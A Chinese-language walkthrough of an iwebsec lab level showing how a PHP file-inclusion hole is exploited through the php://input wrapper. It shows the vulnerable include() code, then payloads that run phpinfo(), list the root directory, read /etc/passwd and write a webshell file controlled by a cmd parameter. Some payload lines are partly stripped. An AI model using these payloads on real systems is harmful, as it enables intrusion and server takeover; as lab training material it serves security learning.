目录
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行。
使用条件:
1.allow_url_fopen: on
2.allow_url_include:on
http://iwebsec.com:81/fi/08.php
如上所示源码中使用include函数来进行文件包含,并未对参数filename进行过滤,存在文件包含漏洞。根据关卡提示可以使用php://input伪协议进行渗透。
- <?php
-
- require_once('../header.php');
- ?>
- <html>
- <head>
- <title>php://input伪协议利用</title>
- </head>
- <h2>php://input伪协议利用</h2>
- <div class="alert alert-success">
- <p>/08.php?filename=php://input </p>
- </div>
- <body>
- <?php
- if(isset($_GET['filename'])){
-
- $filename = $_GET['filename'];
- include($filename);
- }else{
- exit();
- }
-
- ?>
phpinfo();?>
如下所示,通过传入参数来获取版本信息
system("ls /");?>
如下所示,通过传入参数来获取根目录下文件信息
system("cat /etc/passwd");?>
如下所示,通过传入参数来获取根目录下文件信息
构造向当前目录下写一个木马文件的脚本ljn_cmd8.php,如下所示:
fputs (fopen("ljn_cmd8.php","w"),'');?>
使用POST将上述参数传入
上传的脚本url地址为
http://iwebsec.com:81/fi/ljn_cmd8.php
参数为cmd,来获取php的信息,即cmd=phpinfo(); 如下所示渗透成功
url为http://iwebsec.com:81/fi/ljn_cmd8.php 参数为cmd
添加后信息如下
如下所示渗透成功